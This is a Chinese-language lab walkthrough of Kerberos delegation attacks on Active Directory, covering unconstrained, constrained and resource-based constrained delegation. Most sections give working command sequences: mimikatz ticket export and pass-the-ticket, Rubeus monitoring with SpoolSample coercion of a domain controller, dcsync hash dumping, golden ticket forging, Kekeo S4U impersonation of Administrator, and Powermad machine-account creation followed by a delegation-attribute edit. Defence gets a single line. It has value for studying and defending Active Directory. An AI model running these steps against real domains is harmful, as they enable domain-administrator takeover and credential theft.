域委派是大型网络中经常部署的应用模式，给多跳认证带来很大的便利，同时也带来很大的安全隐患，利用委派可获取域管理员权限，甚至制作深度隐藏的后门。

一：域委派

简单明了：委派就是将域内用户的权限委派给服务账号，使得服务账号能以用户权限访问域内其他服务。将我的权限给服务账户。

1.1：委派流程

User(laosecjack)–访问–>Websrv(以User身份)–访问–>Service(文件服务器)

需求：jack需要登陆到后台文件服务器，经过Kerberos认证的过程如下：

1. 域内用户jack以Kerberos协议认证登录，将凭证发送给websvc；
2. Web服务以websvc服务账号运行，websvc向KDC发起jack用户的票据申请；

3. KDC检查websvc用户的委派属性，如果被设置，KDC中AS则返回jack用户的可转移票据TGT；
4. websvc收到jack用户TGT后，使用该票据向KDC中的TGS申请访问文件服务器的服务票据ST；

5. KDC检查websvc的委派属性，如果可以委派，并且权限允许，那么返回jack访问服务的ST票据；
6. websvc使用jack的服务ST票据请求后台文件服务器，完成多跳级认证；

注意：在域中只有主机账号和 服务账号才具有委派属性

• 主机账号：AD活动目录中Computers中的计算机也可以称为机器账号(一个普通域用户默认最多可以创建十个主机账号)
• 服务账号：Service Account是域内用户的一种类型，是服务器运行服务时所用的账号，将服务运行起来并加入域。例如SQL Server 在安装时会在域内自动注册服务账号SQLServiceAccount。也可以将域用户通过注册SPN变为服务账号。

***使用前提***

• 需要被委派的用户未设置不允许被委派属性。

administrator用户设置了敏感账号不能被委派所以该用户不能被委派。

1.2：委派分类

二：委派攻击之非约束性委派

2.1：非约束性委派

对于非约束性委派Unconstrained Delegation服务账号可以获取被委派用户的TGT，并将TGT缓存到LSASS进程中，从而服务账号可使用该TGT模拟用户访问任意服务。。非约束委派的设置需要SeEnableDelegation特权该特权通常仅授予域管理员 。

配置非约束性委派

WIN10$服务账户配置了非约束性委派，那么它可以接受任意用户的委派去请求任意服务。

租房案例

1. 任意用户就是租客
2. WIN10$服务账户是中介

3. 任意服务是房东

租客把自己的钱交给中介，中介拿着钱交给房东申请租房。那么这个过程中，WIN10$是拥有了任意用户的”钱”(凭证)的。协议层面讲，用户A委派WIN10$访问WEB服务，那么用户会将TGT缓存在WIN10的lsass中，DM再模拟这个用户去访问服务。

2.2：非约束性委派流程

前提：在服务A上配置到服务B约束性委派(域管理员才有权限配置)

1. 用户访问机器B的某个服务,于是向KDC认证;KDC会检查机器B的机器账号的属性,发现是非约束性委派,KDC会将用户的TGT放在ST服务票据中。
2. 用户访问机器B时,TGT票据会和ST服务票据一同发送给机器B。

3. 这样B在验证ST服务票据的同时获取了用户的TGT并将TGT存储在LSASS进程中从而可以模拟用户访问任意服务。

思考：从网络攻击的角度来看如果攻击者控制了机器B的机器账号并且机器B配置了非约束性委派。则攻击者可以诱骗管理员来访问机器B然后攻击者可以获取管理员的TGT从而模拟管理员访问任意服务即获得了管理员权限。

2.3：筛选非约束性委派的主机或服务账户

当服务账号或者主机被设置为非约束性委派时，账户增加了一个TRUSTED_TO_AUTH_FOR_DELEGATION的标志位，对应的值是0x80000，也即是524288。其userAccountControl属性会包含TRUSTED_FOR_DELEGATION可以用ldap协议查询筛选。(adsiedit.msc）

2.3.1：PowerSploit

1  Import-Module .PowerView.ps1;     //PowerSploit下的PowerView
2   #查询域中配置非约束委派的主机
3   Get-NetComputer -Unconstrained -Domain laosec.cn
4   #查询域中配置非约束委派的服务账户
5   Get-NetUser -Unconstrained -Domain laosec.cn | select name

注意：域控默认设置的是非约束性委派

2.3.2：AdFind

1 #查询域中配置非约束委派的主机
2 AdFind.exe -b “DC=laosec,DC=cn” -f “(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))” -dn
3 #查询域中配置非约束委派的服务账户
4 AdFind.exe -b “DC=laosec,DC=cn” -f “(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))” -dn

2.4：非约束性委派攻击

实验环境

步骤一：在域控上设置WEB具有非约束性委派属性并在WEB中访问DC共享，提示拒绝访问。

步骤二：在域控上用administrator身份访问WEB机器(可以使用管理员登陆域内任何机器，不一定非要是域控)

步骤三：此时在WEB主机上的Lsass.exe内存中就会有域管理员的TGT票据，使用mimikatz导出：

privilege::debug
sekurlsa::tickets /export

步骤四：使用mimikatz将票据导入内存中，并访问域控

1 导入票据
2 kerberos::ptt [0;89b3d]-2-0-60a00000-administrator@krbtgt-laosec.cn.kirbi
3 查看票据
4 kerberos::list

步骤五：访问Win10

注意：实战中应该诱使DC访问我们的WEB机器。

2.5：SPooler打印机服务

利用Windows打印系统远程协议（MS-RPRN）中的一种旧的但是默认启用的方法，在该方法中，域用户可以使用MS-RPRNRpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。

实验环境

工具地址：

• https://github.com/leechristensen/SpoolSample
• https://github.com/GhostPack/Rubeus

实验槽点

1. 进行实验之前一定要把所有的防火墙关闭！所有的防火墙关闭！所有的防火墙关闭！
2. 进行实验之前一定要把所有的防火墙关闭！所有的防火墙关闭！所有的防火墙关闭！

3. 进行实验之前一定要把所有的防火墙关闭！所有的防火墙关闭！所有的防火墙关闭！

第一步：开启WIN10这个主机账户的非约束性委派，并开始编译工具！

1 链接：https://pan.baidu.com/s/1zACojH6SaMhvLqvKNS_t_g 
2 提取码：ugrs 
3 复制这段内容后打开百度网盘手机App，操作更方便哦–来自百度网盘超级会员V1的分享

步骤二：以administrator身份打开cmd并执行Rubeus来监听来自DC的4624登录日志

1 Rubeus.exe monitor /interval:1 /filteruser:DC$
2 # 我们可以用Rubeus来监听Event ID为4624的事件，这样可以第一时间截取到域控的TGT
3 # /interval:1 设置监听间隔1秒
4 # /filteruser 监听对象为我们的域控，注意后面有个$，如果不设置监听对象就监听所有的TGT

步骤三：随便打开一个cmd运行SpoolSample程序来让域控向WIN10主机验证身份

1 SpoolSample_v4.5_x64.exe DC WIN10
2 # 表示利用打印服务强制让域控机向WIN2008主机验证身份，这样我们的Rubeus就可以监听到TGS了

虽然报错，但是Rubeus已经接收到了TGT

步骤四：提取TGS,使用powershell对Rubeus监听到的base64编码进行转换到正常的TGT

[IO.File]::WriteAllBytes(“绝对路径TGSticket.kirbi”, [Convert]::FromBase64String(“得到的base64”))

步骤五：制作黄金票据

1.注入TGS票据并提取用户Hash

kerberos::ptt ticket.kirbi
kerberos::list
lsadump::dcsync /domain:sfang.com /all /csv

2. 开始制作黄金票据，并获取域控制器

1 whoami /user
2 # S-1-5-21-563506510-1219464096-2194379905
3 # 得到上面的SID，注意不需要后面表示账号权限的几位数

4 kerberos::golden /domain:sfang.com /sid:S-1-5-21-563506510-1219464096-2194379905 /krbtgt:930bf8bc4b39d1b7840a2eadc4200932 /user:administrator /ticket:ntlm.kirbi         //制作黄金票据

三：委派攻击之约束性委派

3.1：约束性委派

为了进行约束性委派，微软在Kerberos协议的TGS_REQ&TGS_REP阶段引入了两个扩展子协议S4u2Self(Service for User to Self) 和S4u2Proxy(Service for User to Proxy)。S4u2self可以代表任意用户请求针对其自身的Kerberos服务票据(ST)；S4u2Proxy可以以上一步用户的名义请求其它服务的服务票据。约束性委派就是限制了S4u2Proxy扩展的范围。

3.2：约束性委派流程

前提：在服务A上配置到服务B约束性委派(域管理员才有权限配置)

1. 用户访问服务A于是向域控进行kerberos认证域控返回ST1服务票据给用户用户使用此服务票据访问服务A
2. 若该服务A允许委派给服务B则A能使用S4U2Proxy协议将用户发送给自己的可转发的ST1服务票据以用户的身份再转发给域控制器。于是域控返回给服务A一个ST2服务票据

3. 服务A便能使用获得的ST2服务票据以用户的身份访问服务B。

从网络攻击的角度来看如果攻击者控制了服务A的账号并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以利用服务A以administrator身份访问域控的CIFS服务即相当于控制了域控。

3.3：S4u2Self

当用户以其他方式(如NTLM认证、基于表单的认证等方式)与Web服务进行认证后用户是无法向Web服务器提供请求该服务的ST服务票据的因而服务器也无法进一步使用S4U2Proxy协议请求访问服务B。S4U2Self协议便是解决该问题的方案被配置为约束委派的服务能够调用S4U2Self向KDC为任意用户请求访问自身的可转发的服务票据此后便可通过S4U2Proxy使用这张ST票据向域控制器请求访问B的票据。这里需要注意的是服务代表用户获得针对服务自身ST票据这个过程是不需要用户的凭据的。

S4U2Self的过程如下图所示(请求服务之前需要申请可转发的 TGT 即需要向域控认证账户密码)

步骤1中，TGS_REQ的请求包的padata中有PA_FOR_USER字段，类型为S4u2Self，并且在KDC-options协商中设置返回的ST票据为可转发forwardable。向KDC请求 代表administrator用户访问自身服务 的ST服务票据，我们称之为ST1

步骤2中，KDC检验通过后将ST服务票据的 票证标志 字段设置为可转发，发送给服务账号。主要检验以下几点：

• TGT是否是可以转发的
• 服务是否配置了约束委派属性

• 服务是否请求了可转发选项

3.4：S4u2Proxy

S4U2Proxy 使得服务1可以使用来自用户的授权( 在S4u2self阶段获得)，然后用该ST1票据(放在AddtionTicket里面)向KDC请求访问服务2的TGS，并且代表用户访问服务2，而且只能访问服务2。

S4u2Proxy过程入下图所示：

步骤1中，服务1试图代表用户获取服务2的服务票证。服务1发送TGS_REQ消息，并将上一步获得的ST1服务票证作为 请求中的AddtionTicket

骤2中，KDC返回以administrator用户访问服务2的ST服务票据。

3.5：筛选约束委派的主机或服务账户

3.5.1:Empire

1 Import-Module .powerview.ps1;  //导入Empire下的Powerview.ps1文件

2 查询域中配置约束委派的主机

3 Get-DomainComputer -TrustedToAuth -Domain laosec.cn | select name
4 查询域中配置约束委派的账号
5 Get-DomainUser -TrustedToAuth -Domain laosec.cn | select name

3.5.2:AdFind

1 #查询域中配置非约束委派的主机
2 AdFind.exe -b “DC=warsec,DC=com” -f “(&(samAccountType=805306369)(msds-allowedtodelegateto=*))” -dn
3 #查询域中配置非约束委派的服务账户
4 AdFind.exe -b “DC=warsec,DC=com” -f “(&(samAccountType=805306368)(msds-allowedtodelegateto=*))” -dn

3.6：约束性委派攻击

步骤一：在域控上创建SQL账户并为其注册SPN，在用户属性中设置约束性委派…(注意：加上SPN之后用户属性的委派选项卡才会出现，因为只有服务账户和计算机账户可以被委派)

步骤二：在Win10客户端查找约束委派的服务账户。

步骤三：约束委派需要知道SQL服务账户的密码或者Hash值，现在我们在Win10中使用Kekeo申请TGT。

Kekeo项目地址：https://github.com/gentilkiwi/kekeo

tgt::ask /user:sql /domain:warsec.com /password:123admiN@

步骤四：使用该TGT通过S4u伪造administrator@warsec.com去访问DC的cifs服务。

tgs::s4u /tgt:TGT_sql@WARSEC.COM_krbtgt~warsec.com@WARSEC.COM.kirbi /user:administrator /service:cifs/dc.warsec.com

步骤五：通过Mimikatz使用cifs的tgs票据进行PTT。

kerberos::ptt xxx.kirbi
kerberos::purge

待续：尝试抓包分析。

四：委派攻击之基于资源的约束性委派

传统的委派，在设置的过程中其实都是需要SeEnableDelegation特权，而这个特权需要域管理员才能设置。相对于传统的委派，基于资源的约束委派它不需要域管理员设置，而是机器本身。

>>>约束委派和基于资源的约束委派的区别<<<

约束委派：

通过服务A委派到服务B，实际是在服务A上增加TRUSTED_FOR_DELEGATION字段（非约束委派），TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION和msDS-AllowedToDelegateTo（约束委派）字段来达到委派的目的。

基于资源的约束委派：

通过服务B允许服务A委派到服务B，实际是通过服务B自身赋予msDS-AllowedToActOnBehalfOfOtherIdentity字段，从而允许服务A对服务B的基于资源的约束委派。

所以当利用到基于资源的约束委派的时候，服务A的两个字段是没有赋值的，当这两个字段没有被赋值的时候，通过S4U2Self得到的ST服务票证是不可被转发的，而S4U2Proxy的作用就是将可转发的ST票据转发到其他服务进行委派认证的。但是：在基于资源的约束委派过程中，不可转发的ST仍可以通过S4U2Proxy转发到其他服务进行委派认证，并且最后还会返回一张可转发的ST服务票证。

因此，如果能够在服务B上配置允许服务A的基于资源的约束委派，那么就可以通过控制服务A使用S4U2Self向域控请求任意用户访问自身的服务票据，最后再使用S4U2Proxy转发此ST票据去请求访问服务B的可转发的ST服务票据，那么我们就可以模拟任意用户访问服务B了。这里可以以普通域用户的身份去创建机器账号作为服务A。

4.1：基于资源的约束性委派流程

该攻击由国外安全研究员Elad Shami提出：Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory，他在文章中指出无论服务账号的UserAccountControl属性是否被设置为TrustedToAuthForDelegation值，服务自身都可以通过调用S4U2Self来为任意用户请求自身的服务票据。但是当没有设置该属性时，KDC通过检查服务账号的TrustedToAuthForDelegation位和msDS-AllowedToDelegateTo这两个字段，发现没有被赋值，所以服务自身通过S4U2Self请求到的ST服务票据是不可转发的，因此不可转发的ST服务票据是无法通过S4U2Proxy转发到其他服务进行约束性委派认证的。但是！在基于资源的约束委派过程中，不可转发的ST服务票据仍然可以通过S4U2Proxy转发到其他服务进行委派认证，并且最后服务还会返回一张可转发的ST服务票据！因此，如果我们能够在服务B上配置允许服务A的基于资源的约束委派，那么我们就可以通过控制服务A使用S4U2Self向域控请求任意用户访问自身的服务票据，最后再使用S4U2Proxy转发此ST票据去请求访问服务B的可转发的ST服务票据，那么我们就可以模拟任意用户访问服务B了。这里我们可以以普通域用户的身份去创建机器账号作为服务A。

引用其博客文章中的思路图片说明攻击步骤:

前提：在服务2上配置服务1到服务2的基于资源的约束性委派(机器自身有权限可配置)

1. 服务1 使用自己的账号密码向KDC申请一个可转发的TGT票据。
2. 服务1 代表用户申请一个获得针对服务1自身的ST服务票据。这一步就是S4U2Self，这一步区别于传统的约束性委派，在S4U2Self里面提到，返回的ST票据可转发的一个条件是服务1配置了传统的约束委派。KDC会检查服务1 的TrustedToAuthForDelegation位和msDS-AllowedToDelegateTo这个字段。这里由于基于资源的约束委派，是在服务2上配置的，服务2的msDS-AllowedToActOnBehalfOfOtherIdentity属性配置了服务1 的SPN，服务1并没有配置TrustedToAuthForDelegation位和msDS-AllowedToDelegateTo字段。因此当KDC检查服务1 的TrustedToAuthForDelegation位和msDS-AllowedToDelegateTo这两个字段时，发现并未赋值。因此返回的ST票据是不可转发的。

3. 服务1可以使用来自用户的授权( 在S4U2Self阶段获得的不可转发的ST票据)，然后将该不可转发的ST票据(放在AddtionTicket里面)向KDC请求访问服务2的可转发的ST服务票据。

4.2：基于资源的约束委派攻击危害

通过利用基于资源的约束委派攻击，攻击者能够使普通域用户以域管理员身份访问远程计算机CIFS等服务，实现本地权限提升。但是仅仅是本地提权，并不能执行域管理员的其他操作！

4.3：基于资源的约束委派攻击的条件

利用基于资源的约束委派(RBCD)需要2个条件：

• 拥有将域机器加入域的域用户的权限。（将机器B加入域的域用户拥有修改机器B的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。）
• 一个任意服务账户或者一个机器账户（每一个域用户都可以添加10个机器账户）

基于资源的约束委派攻击拓扑图：

在企业中，一般会有一个专门将计算机加入域的账号，如果我们获取到了该账号的权限，则可以通过基于资源的约束委派攻击获取 通过该账号加入域的所有机器 的 最高权限。

4.4：筛选基于资源约束委派的主机或服务账户

1 #查询域中配置非约束委派的主机
2 AdFind.exe -b “DC=warsec,DC=com” -f “(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))” -dn
3 #查询域中配置非约束委派的服务账户
4 AdFind.exe -b “DC=warsec,DC=com” -f “(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))” -dn

4.5：基于资源的约束委派攻击

实验环境

》》》环境配置《《《

步骤一：

• Wins2012R2搭建好域环境并创建test与laosec用户分别登录Wins2008R2与Win10机器

步骤二：设置test的写权限…使用adsiedit.msc命令

步骤三：验证域用户test对WIN2008是否具有写的权限可以使用PowerView.ps1脚本来枚举。

PowerView.ps1(可在github下载)

1 Get-DomainUser -Identity test -Properties objectsid         # 查询test的SID
2 Get-DomainObjectAcl -Identity WIN2008  | ?{$_.SecurityIdentifier -match “S-1-5-21-2236720874-3430260630-3072917007-1108”}  # 查看是否有写权限

在此，可以看到域账户对WIN2008机器账户的完全控制权限(GenericAll),其实也不一定需要GenericAll权限，GenericWrite、WriteProperty、WriteDacl等等权限都是可以修改账户属性的。

步骤四：创建机器账户并查询…

现在还需要的是一个具有SPN的账户，因为S4U2Self只适用于具有SPN的账户，恰好的是在域中有一个属性MachineAccountQuota，这个值表示的是允许用户在域中创建的计算机帐户数，默认为10，这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户，而计算机账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的，所以这里刚好符合我们的意图。

我们可以使用Kevin Robertson的Powermad中的New-MachineAccount来创建一个用户名为evilsyst0m，密码为evil的计算机账户。

1 Import-Module .Powermad.ps1
2 New-MachineAccount -MachineAccount evilsyst0m -Password $(ConvertTo-SecureString “evil” -AsPlainText -Force)

Powermad.ps1(可在github上下载)

查询机器账户是否创建成功。

net group “domain computers” /domain

步骤五：配置evilsyst0m到WIN2008的基于资源的约束委派…

下面是修改win2008的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值，有两种方法可以修改，Powerview或者ActiveDirectory模块

1. 先获取evilsyst0m的SID

Get-NetComputer "evilsyst0m" 

2. 配置基于资源的约束委派

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  #这儿的sid是我们创建的机器用户evilsystem的sid $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer WIN2008| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

3. 验证是否成功添加

Get-DomainComputer win2008 -Properties msds-allowedtoactonbehalfofotheridentity

4. 以上就表示配置成功了，若想清除msds-allowedtoactonbehalfofotheridentity属性的值，可用如下命令：

Set-DomainObject win2008 -Clear ‘msds-allowedtoactonbehalfofotheridentity’ -Verbose

备注：以上是在Wins2008上修改，若在Wins2012修改为以下步骤…

1 import-module ./Microsoft.ActiveDirectory.Management.dll
2 Set-ADComputer yukong -PrincipalsAllowedToDelegateToAccount evilsystem$
3 这个命令只有在域控上执行才成功,普通用户机器，即使导入了dll文件，执行的话也会显示不全。
4 这个dll文件域控上都有，也可以去https://github.com/shanfenglan/test下载。

参考位置:https://blog.csdn.net/qq_41874930/article/details/111249630

攻击过程

步骤一：使用Rubeus来请求白银票据，因为Rubeus不支持明文所以要先转换为Hash….

Rubeus.exe hash /user:evilsystem /password:evil /domain:test.com

步骤二：用evilsystem$的Hash值请求白银票据并导入到当前回话中…

1 Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:Administrator /msdsspn:cifs/win2008 /ptt
2 dir \win2008c$

防御方法：

• 将高权限的用户配置为敏感账户。

参考文章

• https://daiker.gitbook.io/windows-protocol/
• https://xz.aliyun.com/t/7454

• https://blog.csdn.net/qq_41874930/article/details/111249630
• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#case-study-2-windows-1020162019-lpe

• https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/#1-%E5%89%8D%E8%A8%80